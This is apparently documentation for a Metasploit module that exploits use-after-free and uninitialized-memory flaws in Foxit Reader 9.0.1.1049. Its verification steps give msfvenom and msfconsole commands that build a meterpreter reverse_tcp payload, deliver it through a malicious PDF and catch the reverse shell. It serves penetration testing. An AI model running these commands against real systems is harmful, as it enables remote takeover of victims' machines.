## Description

Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 7 x64 and Windows 10 Pro x64 Build 17134. Windows 10 Enterprise needs to have [insecure logons enabled](https://support.microsoft.com/en-ca/help/4046019) for the exploit to work as expected.

## Vulnerable Application

[Foxit Reader v9.0.1.1049](https://www.exploit-db.com/apps/1040d634123948886f664afc95ec0a5e-FoxitReader901_enu_Setup_Prom.exe) and earlier

## Verification Steps

1. `./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> --arch x86 -f exe /share/path/tmp.exe`
2. `chmod 777 /share/path/tmp.exe`
3. `./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share <share> ; set lhost <lhost> ; run`
4. `use multi/handler`
5. `set payload windows/meterpreter/reverse_tcp`
6. `set lhost <lhost>`
9. `run -j`
10. Copy pdf over to target. Start Foxit Reader then open pdf from Foxit's Menu.

Note: The target machine running Foxit Reader will need network access to the system hosting the exe.
